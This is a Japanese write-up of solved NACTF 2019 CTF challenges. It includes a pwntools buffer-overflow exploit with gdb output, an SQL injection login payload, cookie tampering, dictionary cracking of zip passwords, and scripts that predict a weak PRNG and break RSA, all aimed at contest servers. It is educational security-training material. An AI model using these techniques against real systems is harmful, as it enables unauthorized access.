この大会は2019/9/18 7:00(JST)～2019/9/23 7:00(JST)に開催されました。
今回は個人で参戦。結果は4485点で1335チーム中118位でした。
解けた問題をWriteupとして書いておきます。
Intro to Flags (General Skills 10)
問題にフラグが書いてあった。
nactf{w3lc0m3_t0_th3_m4tr1x}
Join the Discord (General Skills 25)
Discordに入ると、#welcomeチャネルのメッセージにフラグが書いてあった。
nactf{g00d_luck_h4v3_fun}
What the HEX? (General Skills 25)
16進数でASCIIコードが並んでいるので、デコードする。
>>> '49 20 77 61 73 2e 20 53 6f 72 72 79 20 74 6f 20 68 61 76 65 20 6d 69 73 73 65 64 20 79 6f 75 2e'.replace(' ', '').decode('hex')
'I was. Sorry to have missed you.'
I was. Sorry to have missed you.
Off-base (General Skills 25)
Base64文字列が問題になっている。
>>> 'bmFjdGZ7YV9jaDRuZzNfMGZfYmE1ZX0='.decode('base64')
'nactf{a_ch4ng3_0f_ba5e}'
nactf{a_ch4ng3_0f_ba5e}
Cat over the wire (General Skills 50)
ncコマンドで接続するだけ。
$ nc shell.2019.nactf.com 31242 nactf{th3_c4ts_0ut_0f_th3_b4g}
nactf{th3_c4ts_0ut_0f_th3_b4g}
Grace's HashBrowns (General Skills 50)
問題は次のmd5の元の文字列を答えるというもの。
f5525fc4fc5fdd42a7cf4f65dc27571c
https://md5.gromweb.com/でmd5のクラックをする。
grak
nactf{grak}
Cellular Evolution #0: Bellsprout (General Skills 75)
指定通り実行し、出力する。白を0、黒を1として、デコードする。
with open('outpattern.txt', 'r') as f: data = f.read().rstrip() data = '0' + data.replace(' ', '').replace('.', '0') flag = '' for i in range(0, len(data), 8): code = int(data[i:i+8], 2) flag += chr(code) print flag
hlacks
nactf{hlacks}
Get a GREP #0! (General Skills 100)
たくさんのファイルからフラグを探す。
$ grep nactf -rl bigtree bigtree/branch8/branch3/branch5/leaf8351.txt $ cat bigtree/branch8/branch3/branch5/leaf8351.txt nactf{v1kram_and_h1s_10000_l3av3s}
nactf{v1kram_and_h1s_10000_l3av3s}
Hwang's Hidden Handiwork (General Skills 100)
substitution.csvに従い、平文に復号してみるとURLになった。
https://lh3.googleusercontent.com/vdx0x3krzzyWWSy4ahxBiWJGdIQR9j0W_tQL_ISoorqnAcIKCIu0Czw-ZbjTZ8eAjlwfLC4Dm6QnSPjx5w=w50-h10-rw
アクセスすると画像があるが、小さくて見にくい。
パラメータらしき"w50-h10"の部分を調整して大きくする。
https://lh3.googleusercontent.com/vdx0x3krzzyWWSy4ahxBiWJGdIQR9j0W_tQL_ISoorqnAcIKCIu0Czw-ZbjTZ8eAjlwfLC4Dm6QnSPjx5w=w250-h50-rw
今度ははっきりフラグがわかる。
nactf{g00gl3_15nt_s3cur3_3n0ugh}
Cellular Evolution #1: Weepinbell (General Skills 125)
指示されていることをプログラムにする。
NW == 4 : 3 NE == 3 : 4 SW == 1 : 2 SE == 2 : 1 C == 5 : 5
20step後、フラグになる。
nactf{ib_bio_ftw}
Get a GREP #1! (General Skills 125)
1つのファイルにフラグ形式となっている文字列が100000行ある。正解のフラグは{}の中の末尾7文字が母音で構成されているということらしい。正規表現を使って検索する。
$ grep -P "nactf\{.+[aiueo]{7}\}" flag.txt nactf{r3gul4r_3xpr3ss10ns_ar3_m0r3_th4n_r3gul4r_euaiooa}
nactf{r3gul4r_3xpr3ss10ns_ar3_m0r3_th4n_r3gul4r_euaiooa}
Cellular Evolution #2: VikTreebel (General Skills 150)
周囲8マスの合計がわかっているので、手動で元に戻していく。
nactf{conwayblco}
BufferOverflow #0 (Binary Exploitation 100)
セグメンテーション違反を起こせば、フラグが得られる。バッファを超えて十分に長い文字列を入力すればよい。
$ nc shell.2019.nactf.com 31475 Type something>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! You win! flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}
nactf{0v3rfl0w_th4at_buff3r_18ghKusB}
BufferOverflow #1 (Binary Exploitation 200)
gets関数で入力をバッファに格納するがオーバーフローの脆弱性がある。この状況でそのままではコールされないwin関数をコールできれば、フラグが得られる。
$ gdb -q bufover-1 Reading symbols from bufover-1...(no debugging symbols found)...done. gdb-peda$ r Starting program: /mnt/hgfs/Shared/bufover-1 Type something>AAAAAAAAAAAAAAAAAAAA You typed AAAAAAAAAAAAAAAAAAAA! [Inferior 1 (process 39749) exited normally] gdb-peda$ r Starting program: /mnt/hgfs/Shared/bufover-1 Type something>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x2a (b'*') EBX: 0x0 ECX: 0xffffffff EDX: 0xf7fb8870 --> 0x0 ESI: 0xf7fb7000 --> 0x1afdb0 EDI: 0xf7fb7000 --> 0x1afdb0 EBP: 0x41414141 (b'AAAA') ESP: 0xffffce10 --> 0xf7fb73dc --> 0xf7fb81e0 --> 0x0 EIP: 0x8004141 [-------------------------------------code-------------------------------------] Invalid $PC address: 0x8004141 [------------------------------------stack-------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] 0x08004141 in ?? ()
29-32バイトが変わる。
gdb-peda$ p &win $1 = (<text variable, no debug info> *) 0x80491b2 <win>
'A' * 28 + '\xb2\x91\x04\x08'を送り込めばよい。
from pwn import * p = remote('shell.2019.nactf.com', 31462) payload = 'A' * 28 + '\xb2\x91\x04\x08' ret = p.recvuntil('>') print ret + payload p.sendline(payload) ret = p.recvline() print ret ret = p.recvline() print ret ret = p.recvline() print ret
実行結果は以下の通り。
[+] Opening connection to shell.2019.nactf.com on port 31462: Done Type something>AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb2\x91\x04 You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb2\x91\x04! You win! flag: nactf{pwn_31p_0n_r3t_iNylg281} [*] Closed connection to shell.2019.nactf.com port 31462
nactf{pwn_31p_0n_r3t_iNylg281}
Pink Panther (Web Exploitation 50)
HTMLソースのコメントにフラグが含まれている。
<!--Your flag is nactf{1nsp3ct_b3tter_7han_c10us3au}-->
nactf{1nsp3ct_b3tter_7han_c10us3au}
Scooby Doo (Web Exploitation 100)
フラグが部分的にしかはっきり見えない。
Chromeのデベロッパーツールですべてのopacityを1に設定するとフラグが表示された。
nactf{ult1m4T3_sh4ggY}
Dexter's Lab (Web Exploitation 125)
よくあるログイン画面。以下の通り入力して、送信してみる。
Username: ' or 1=1 # Password: a
ログインできて、フラグが表示された。
nactf{1nj3c7ion5_ar3_saf3_in_th3_l4b}
Sesame Street (Web Exploitation 150)
ページの内容を読むと、大会終了後にフラグが得られるとのことらしい。
クッキーのsession-timeにUNIX時間が書かれている。これを大会終了後の時刻(1569189600)に設定して、http://sesamestreet.web.2019.nactf.com/flag.phpにアクセスしてみると、フラグが表示された。
nactf{c000000000ki3s}
Least Significant Avenger (Forensics 50)
Stegsolveで開き、[Data Extract]でRGBのLSBだけチェックを入れると、フラグ文字列が表示された。
nactf{h4wk3y3_15_th3_l34st_51gn1f1c4nt_b1t}
The MetaMeme (Forensics 75)
$ cat metametametameta.pdf | strings | grep nactf /Subject (nactf{d4mn_th15_1s_s0_m3t4})
nactf{d4mn_th15_1s_s0_m3t4}
My Ears Hurt (Forensics 75)
Audacityで開く。スペクトグラムを見る。
モールス信号に見える。
-.. .---- -.. ..- -.. ----- - .... .---- ..... -... -.-- .... ....- -. -..
D1DUD0TH15BYH4ND
nactf{d1dud0th15byh4nd}
Unzip Me (Forensics 150)
パスワード付きzipファイルが3つ添付されている。それぞれパスワードクラックする。
$ fcrackzip -u -D -p dict/rockyou.txt zip1.zip PASSWORD FOUND!!!!: pw == dictionary $ unzip zip1.zip Archive: zip1.zip [zip1.zip] zip1.rtf password: inflating: zip1.rtf
rtfファイルが展開され、"nactf{w0w"と書いてある。
$ fcrackzip -u -D -p dict/rockyou.txt zip2.zip PASSWORD FOUND!!!!: pw == rock $ unzip zip2.zip Archive: zip2.zip [zip2.zip] zip2.rtf password: inflating: zip2.rtf
rtfファイルが展開され、"_y0u_unz1pp"と書いてある。
$ fcrackzip -u -D -p dict/rockyou.txt zip3.zip PASSWORD FOUND!!!!: pw == dog $ unzip zip3.zip Archive: zip3.zip [zip3.zip] zip3.rtf password: inflating: zip3.rtf
rtfファイルが展開され、"3d_m3}"と書いてある。
全部結合すると、フラグになる。
nactf{w0w_y0u_unz1pp3d_m3}
Kellen's Broken File (Forensics 150)
PDFファイルのヘッダが壊れている。"%PDF-"が先頭にないので、追加して、開いてみると、フラグが書いてあった。
nactf{kn0w_y0ur_f1l3_h34d3rsjeklwf}
Kellen's PDF sandwich (Forensics 150)
$ binwalk MeltedFile.pdf DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PDF document, version: "1.3" 220 0xDC PDF document, version: "1.3"
外側と内側あるPDFを切り出すと、それぞれフラグの一部が書いてある。
外側：nactf{w3_l0v3_w0rld
内側：_0f_t4nk5ejwjfae}
nactf{w3_l0v3_w0rld_0f_t4nk5ejwjfae}
Filesystem Image (Forensics 200)
flag.txtのパスがフラグ。isoを解凍して、flag.txtを検索する。
$ find img/ -name flag.txt img/lq/wk/zo/py/hu/flag.txt
nactf{lqwkzopyhu}
File recovery (Forensics 300)
$ foremost img.iso Processing: img.iso |*|
PNGファイルが抽出でき、フラグが書いてあった。
nactf{f1l3_r3c0v3ry_15_c0ol}
Vyom's Soggy Croutons (Cryptography 50)
シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
Rotation 17:
nactf{et_tu_brute}
nactf{et_tu_brute}
Loony Tunes (Cryptography 50)
Pigpen cipher。https://en.wikipedia.org/wiki/Pigpen_cipherを参考にアルファベットに変換していく。
nactf{th_th_th_thats_all_folks}
Dr. J's Group Test Randomizer: Board Problem #0 (Cryptography 100)
$ nc shell.2019.nactf.com 31425 Welcome to Dr. J's Random Number Generator v1! [r] Print a new random number [g] Guess the next two random numbers and receive the flag! [q] Quit > r 5442826613515225 > g Guess the next two random numbers for a flag! You have a 0.0000000000000000000000000000001% chance of guessing both correctly... Good luck! Enter your first guess: > 123 That's incorrect. Get out of here!
サーバ処理の概要は以下の通り。
■r nextRand()表示 ■g ・ランダム値予測 OK→ランダム値予測 OK→フラグ表示 ■q 抜ける
r実行でseedがわかる。次のseedは以下の計算で算出できる。
seed = getDigits(seed, 5, 12) seed *= seed
g実行の1回目でそれを指定し、2回目も同様に指定すれば、フラグが得られる。
import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def getDigits(number, start, end): return (number % pow(10, end)) / pow(10, start - 1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('shell.2019.nactf.com', 31425)) data = recvuntil(s, '> ') print data + 'r' s.sendall('r\n') seed = recvuntil(s, '\n').rstrip() print seed seed = getDigits(int(seed), 5, 12) seed *= seed data = recvuntil(s, '> ') print data + 'g' s.sendall('g\n') data = recvuntil(s, '> ') print data + str(seed) s.sendall(str(seed) + '\n') seed = getDigits(int(seed), 5, 12) seed *= seed data = recvuntil(s, '> ') print data + str(seed) s.sendall(str(seed) + '\n') data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data
実行結果は以下の通り。
Welcome to Dr. J's Random Number Generator v1!
[r] Print a new random number
[g] Guess the next two random numbers and receive the flag!
[q] Quit
> r
16998263181025
> g
Guess the next two random numbers for a flag! You have a 0.0000000000000000000000000000001% chance of guessing both correctly... Good luck!
Enter your first guess:
> 9965293765437124
Wow, lucky guess... You won't be able to guess right a second time.
Enter your second guess:
> 862981278630849
What? You must have psychic powers... Well here's your flag: nactf{1_l0v3_chunky_7urn1p5}
nactf{1_l0v3_chunky_7urn1p5}
Reversible Sneaky Algorithm #0 (Cryptography 125)
dがわかっているので、そのまま復号する。
from Crypto.Util.number import * n = 140971369982728290584003929856637011308685429687969594429997821710108459830116393789723684079062708514036299475509430542212659734507429142853158004794834935174746493412962154796160975546005828130717579132438781804174244070129160649779404165370266408790722528108474736698480388956217393838955462967989235557729 d = 3210396717872682205420233842120187670754123682946955455494937957220148561826887372494355836977601850209792589944578254791223196877372140862540829182847721214418314564429696694983379689813325142035328881707722441498876726169675843996078221651180111278667814216844121752144791638682520989591783787929482763483 c = 7597447581111665937753781070914281099248138767561231457808924842755340796976767584904483452403406793827996034815852778012984740739361969304711271790657255334745163889379518040725967970769121270606356380463906882556650693485795903105298437519246733021136433493998710761239540681944709850299154477898517149127 m = pow(c, d, n) flag = long_to_bytes(m) print flag
nactf{w3lc0me_t0_numb3r_th30ry}
Super Duper AES (Cryptography 250)
各関数で逆算して復号する。
from binascii import hexlify, unhexlify def substitute(hexBlock): substitutedHexBlock = "" substitution = [8, 4, 15, 9, 3, 14, 6, 2, 13, 1, 7, 5, 12, 10, 11, 0] for hexDigit in hexBlock: newDigit = substitution[int(hexDigit, 16)] substitutedHexBlock += hex(newDigit)[2:] return substitutedHexBlock def pad(message): numBytes = 4-(len(message)%4) return message + numBytes * chr(numBytes) def hexpad(hexBlock): numZeros = 8 - len(hexBlock) return numZeros*"0" + hexBlock def permute(hexBlock): permutation = [6, 22, 30, 18, 29, 4, 23, 19, 15, 1, 31, 11, 28, 14, 25, 2, 27, 12, 21, 26, 10, 16, 0, 24, 7, 5, 3, 20, 13, 9, 17, 8] block = int(hexBlock, 16) permutedBlock = 0 for i in range(32): bit = (block & (1 << i)) >> i permutedBlock |= bit << permutation[i] return hexpad(hex(permutedBlock)[2:].rstrip('L')) def round(hexMessage): numBlocks = len(hexMessage)//8 substitutedHexMessage = "" for i in range(numBlocks): substitutedHexMessage += substitute(hexMessage[8*i:8*i+8]) permutedHexMessage = "" for i in range(numBlocks): permutedHexMessage += permute(substitutedHexMessage[8*i:8*i+8]) return permutedHexMessage def inv_substitute(hexBlock): block = '' substitution = [8, 4, 15, 9, 3, 14, 6, 2, 13, 1, 7, 5, 12, 10, 11, 0] for hexDigit in hexBlock: oldDigit = substitution.index(int(hexDigit, 16)) block += hex(oldDigit)[2:] return block def inv_permute(hexBlock): permutation = [6, 22, 30, 18, 29, 4, 23, 19, 15, 1, 31, 11, 28, 14, 25, 2, 27, 12, 21, 26, 10, 16, 0, 24, 7, 5, 3, 20, 13, 9, 17, 8] permutedBlock = int(hexBlock, 16) block = 0 for i in range(32): bit = (permutedBlock & (1 << permutation[i])) >> permutation[i] block |= bit << i return hexpad(hex(block)[2:].rstrip('L')) def inv_round(hexMessage): numBlocks = len(hexMessage)//8 substitutedHexMessage = '' for i in range(numBlocks): substitutedHexMessage += inv_permute(hexMessage[8*i:8*i+8]) initHexMessage = '' for i in range(numBlocks): initHexMessage += inv_substitute(substitutedHexMessage[8*i:8*i+8]) return initHexMessage def unpad(message): return message[:-ord(message[-1])] hexMessage = 'd59fd3f37182486a44231de4713131d20324fbfe80e91ae48658ba707cb84841972305fc3e0111c753733cf2' for i in range(10000): hexMessage = inv_round(hexMessage) flag = unpad(unhexlify(hexMessage)) print flag
nactf{5ub5t1tut10n_p3rmutat10n_n33d5_a_k3y}
Reversible Sneaky Algorithm #1 (Cryptography 275)
平文の不明な文字は4バイトで英小文字のため、ブルートフォースする。
import itertools import string from Crypto.Util.number import * n = 22211149480575639993429030519324903433947913532364781040868963328192510711356813047019777682976897694523708823502748768149007288902843985412808705624398873301639600888468250478096471710461804856036409585519537946352413960371213677893523940481424813184421465313214067723492301317054407961642320909213358344993453825109139928083868146685834149311590508677641684185974469669019522897333475910002506624356655715375691861599282035176111228787146595035293770294934083506588432931535561733381730924617763450268288785249430304809062568532772866407535937947253602671915278827388538023000320823892308918791287865032550658101647 e = 65537 c = 17092019895398435490936645877681389522100314381280314137324590582626113380519883878346612680436149571504342956062627199254592419000136198748264157134720216337534802137245374257104787163473593768075381161119603573787923015405105192411372689756878820005036480013443173993126005361536816259899310244534769833694660355126920566669139672444357708161337389888825104348833002955918763849005061351140425567156148202269336347554989169075541289307981444741551677799416273481457219933391047628725337828725080079301570909831609401028488393457876225318163558871115320155827798534306397644894097358075465535794590825299057956641732 for elms in itertools.product(string.lowercase, repeat=4): flag = 'nactf{%s}' % ''.join(elms) m = bytes_to_long(flag) if pow(m, e, n) == c: print flag break
nactf{pkcs}
Dr. J's Group Test Randomizer: Board Problem #1 (Cryptography 300)
$ nc shell.2019.nactf.com 31258 Welcome to Dr. J's Random Number Generator v2! A vulnerability involving predictability of outputs has been patched. [r] Print a new random number [g] Guess the next four random numbers and receive the flag! [q] Quit > r 218 > g Guess the next four random numbers for a flag! Dr. Strange sees fourteen million six hundred and five possibilies... and you only guess correctly in one. Good luck! Enter your first guess: > 123 That's incorrect. Get out of here!
サーバ処理の概要は以下の通り。
■r nextRand()表示 ■g ・ランダム値予測を4回繰り返す 全部OK→フラグ表示 ■q 抜ける
r実行でseedの一部がわかる。推測の範囲を少しずつ狭くする。3回行うと1つに絞れる。
seed = getDigits(seed, 5, 12) seed *= seed return getDigits(seed, 13, 16)
g実行で4回正解できれば、フラグが得られる。
import socket import math def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def getDigits(number, start, end): return (number % pow(10, end)) / pow(10, start - 1) NUM_CORRECT = 4 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('shell.2019.nactf.com', 31258)) numbers = [] for i in range(3): data = recvuntil(s, '> ') print data + 'r' s.sendall('r\n') number = int(recvuntil(s, '\n').rstrip()) print number numbers.append(number) min = int(math.sqrt(numbers[0] * pow(10, 12))) max = int(math.sqrt((numbers[0] + 1) * pow(10, 12))) seeds = [] for n in range(min, max): seed = n * n seed = getDigits(seed, 5, 12) seed *= seed if getDigits(seed, 13, 16) == numbers[1]: seeds.append(seed) for seed in seeds: seed = getDigits(seed, 5, 12) seed *= seed if getDigits(seed, 13, 16) == numbers[2]: break data = recvuntil(s, '> ') print data + 'g' s.sendall('g\n') for i in range(NUM_CORRECT): seed = getDigits(seed, 5, 12) seed *= seed guess = getDigits(seed, 13, 16) data = recvuntil(s, '\n') print data data = recvuntil(s, '> ') print data + str(guess) s.sendall(str(guess) + '\n') data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data
実行結果は以下の通り。
Welcome to Dr. J's Random Number Generator v2! A vulnerability involving predictability of outputs has been patched.
[r] Print a new random number
[g] Guess the next four random numbers and receive the flag!
[q] Quit
> r
4229
> r
624
> r
847
> g
Guess the next four random numbers for a flag! Dr. Strange sees fourteen million six hundred and five possibilies... and you only guess correctly in one. Good luck!
Enter your first guess:
> 116
Yeah, yeah, one correct guess is easy.
Enter your second guess:
> 11
Okay, you're lucky... You won't be able to guess right a third time.
Enter your third guess:
> 4608
Wow. I'll admit I'm impressed. This is the final test.
Enter your fourth guess:
> 270
Oh no... we're in the endgame now... Here's your flag:
nactf{th3_b35t_pr3d1ct0r_0f_fu7ur3_b3h4v10r_15_p4st_b3h4v10r}
nactf{th3_b35t_pr3d1ct0r_0f_fu7ur3_b3h4v10r_15_p4st_b3h4v10r}
Reversible Sneaky Algorithm #2 (Cryptography 350)
pow(a, r, n) = 1
この式について調べると、Shorのアルゴリズムという素因数分解のアルゴリズムがあるらしい。
http://www.kurims.kyoto-u.ac.jp/~kyodo/kokyuroku/contents/pdf/1452-24.pdf
これを使うと素因数分解でき、あとはそのまま復号する。
from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Util.number import * with open('oligarchy.pem', 'r') as f: pubkey = f.read() pub = RSA.importKey(pubkey) e = pub.e n = pub.n a = 84733215803103612460901465701232424798609470209825913961212238457798293111098195061837071495218083197429913141798442522950831495758395873695688189182925448736211066067276791533151828542439575601763801135131479532656528730453020404557236783254278625529895480234633323403399468237577058553920576024305830379725 r = 21700996784810065805847020455080940987640304282783092123992896363328128691169420271855815648912121417792054646557156071514079520782530801688062034321252682229729442734741486715339008457753023855600772948737800521010217600436912058582658334252483984244806083617513596479033871117464319239681526924092910597300 c = 85407181759755287105309527383534372436668736072315927293076398182206068631971587183149437554341349819060482477969350837066653250734556920049021810122548703168301872412719117857995283679569989680329696657609285728934732302846152702363240223251805773071022405764521081142920227557091217872210813095318042763847 assert pow(a, r, n) == 1 assert r % 2 == 0 p = GCD(pow(a, r/2, n) + 1, n) q = GCD(pow(a, r/2, n) - 1, n) assert p * q == n phi = (p - 1) * (q - 1) d = inverse(e, phi) key = RSA.construct(map(long, (n,e,d))) cipher = PKCS1_OAEP.new(key) flag = cipher.decrypt(long_to_bytes(c)) print flag
nactf{d0wn_wi7h_7h3_0lig4rchy}
